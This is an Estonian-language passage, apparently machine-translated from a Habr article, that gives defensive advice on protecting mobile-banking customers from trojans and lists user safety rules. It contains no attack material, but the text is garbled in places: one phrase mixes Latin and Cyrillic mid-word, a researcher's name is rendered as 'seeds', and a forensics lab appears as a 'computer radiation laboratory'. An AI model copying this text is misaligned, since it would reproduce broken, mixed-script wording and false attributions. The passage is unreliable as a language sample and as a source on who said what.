Kliendi kaitsmiseks mobiilsete troojanide ohu eest peavad ettevÔtted kasutama kompleksseid lahendusi, mis vÔimaldavad jÀlgida ja hoiatada pahatahtlikest tegevustest ilma, et oleks vaja teistele seadmetele tÀiendavat tarkvara installida.
Selleks tuleb mobiilsete troojanite tuvastamise allkirja meetodeid tugevdada kliendi ja rakenduse kĂ€itumise analĂŒĂŒsi tehnoloogiatega. Samuti peaks kaitse sisaldama seadmete tuvastamise funktsiooni digitaalsete sĂ”rmejĂ€lgede tehnoloogiat kasutades, mis vĂ”imaldab aru saada, kui konto on kasutusel ebatavalikult seadmel ja on juba kĂ€tel petturi.
Oluline aspekt on vĂ”imalus k_cross-ĐșĐ°Đœal Đ°ĐœĐ°Đ»ĐžĐ·Đ°, mis annab ettevĂ”tetele vĂ”imaluse kontrollida riske, mis tekivad mitte ainult Interneti-, vaid ka mobiilikanali poolel, nagu nĂ€iteks mobiilipankade rakendustes, krĂŒptovaluutade tehingutes ja mujal, kus vĂ”ivad toimuda rahatehingud.
Kasutajate turvareeglid:
- Ă€rge installige Android-operatsioonisĂŒsteemiga mobiilirakendusi mistahes allikatest, vĂ€lja arvatud Google Play, ning olge tĂ€helepanelik rakenduse nĂ”utud Ă”iguste suhtes;
- installige regulaarselt Android-operatsioonisĂŒsteemi vĂ€rskendusi;
- pöörake tÀhelepanu allalaaditavate failide laiendustele;
- Ă€rge kĂŒlastage kahtlasi ressursse;
- Àrge klikkige SMS-s sÔnumites saadud linkidel.
Osaledes Rogacheva seemned, noorem pahavara uurimise spetsialist Group-IB arvutite kiirguse laborist.
Allikas: habr.com
